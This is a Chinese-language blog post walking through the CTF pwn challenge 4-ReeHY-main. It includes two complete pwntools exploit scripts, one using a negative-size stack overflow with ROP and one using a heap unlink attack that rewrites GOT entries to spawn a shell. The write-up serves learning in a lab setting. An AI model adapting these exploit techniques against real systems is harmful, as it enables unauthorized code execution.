4-ReeHY-main

刷攻防世界的时候碰到了看雪Wifi万能钥匙 4-ReeHY-main,当时通过溢出做的,做完后查下了 wp 发现可以 unlink 的解法学习一下。

0x00 overflow

1
2
3
4
5
6
7
❯ checksec 4-ReeHY-main
[*] '/Users/carlstar/tools/CTF/PWN/heap/unlink/4-ReeHY-main'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

保护情况只开了一个 nx,在 create 的时候发现了用户 malloc size 由用户指定,而且会分为 2 种情况:1、在大于 112 的时候会直接 read data 到堆上 2、 当小于 112 的时候会先把 data 读到栈上然后在复制到堆中 由于 size 是由我们控制的,可以把 size 控制为 -1 这样 read 时就会读到 0xffffffff 个 byte 造成溢出,接下来就是常规的 rop 了,但是有一点需要注意,为了控制程序正常执行下去,我们需要控制下面的 memcpy 的 dest,要不然 memcpy 时就会因为错误的地址而退出。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])

t = remote('192.168.5.185',9999)
raw_input()
t.sendlineafter('$ ', '123')

def create(size, cun, content):
t.sendlineafter('$ ', '1')
t.sendlineafter('size\n', str(size))
t.sendlineafter('cun\n', str(cun))
t.sendlineafter('content\n',content)



create(-1,0,cyclic(128) + p64(0) * 3 + p64(0x400da3) + p64(0x602058) + p64(0x4006d0) + p64(0x400C8C))
addr_atoi = u64(t.recvn(6).ljust(8,'\x00'))
log.success('addr_atoi: ' + hex(addr_atoi))

t.sendlineafter('$ ', '123')
create(-1,1,cyclic(128) + p64(0) * 3 + p64(0x400da3) + p64(addr_atoi - 0x36e80 + 0x18cd57) + p64(addr_atoi - 0x36e80 + 0x45390))


t.interactive()

由于 malloc 的 size 是由我们控制的,free 的时候是根据在 bss 段的指针(0x6020E0)和偏移确定的 free 的地址,而且 free 时只把数据结构中的 1 写为 0 之前的堆地址没有抹去,这样我们就可以通过布置堆风水来构造 unlink。在 free(3) 的时候,由于提前布置好堆结构,2 的 inuse 位设为1 这样就会向后合并触发 unlink。edit 时可以改写 bss 段的指针改写 got 进而输出和控制程序流。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])

t = remote('192.168.5.186',9999)
raw_input()
t.sendlineafter('$ ', '123')
def create(size, cun, content):
t.sendlineafter('$ ', '1')
t.sendlineafter('size\n', str(size))
t.sendlineafter('cun\n', str(cun))
t.sendlineafter('content\n',content)



def delete(index):
t.sendlineafter('$ ', '2')
t.sendlineafter('dele\n', str(index))



def edit(index,content):
t.sendlineafter('$ ', '3')
t.sendlineafter('edit\n',str(index))
t.sendafter('content\n',content)





create(0x200,0,"/bin/sh\x00")
create(0x200,1,"1")
create(0x200,2,"2")
create(0x200,3,"3")
heap = 0x602100
delete(3)
delete(2)
payload = p64(0) + p64(0x200+1) + p64(heap- 0x18) + p64(heap - 0x10) + cyclic(480) + p64(0x200) + p64(0x200)
create(0x400,2,payload)
delete(3)
libc_atoi = 0x36e80
libc_system = 0x45390
libc_binsh = 0x18cd57
free_got = 0x602018
atoi_got = 0x602058
puts_plt = 0x4006d0
edit(2,'1'*0x18 + p64(free_got) + p64(1) + p64(atoi_got))
edit(2,p64(puts_plt))
delete(3)
atoi_addr = u64(t.recvn(6).ljust(8,'\x00'))
base_addr = atoi_addr - libc_atoi
system_addr = base_addr + libc_system
log.success("system: " + hex(system_addr))
edit(2,p64(system_addr))
delete(0)
t.interactive()
文章作者: Carl Star
文章链接: http://carlstar.club/2019/09/15/unlink/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hexo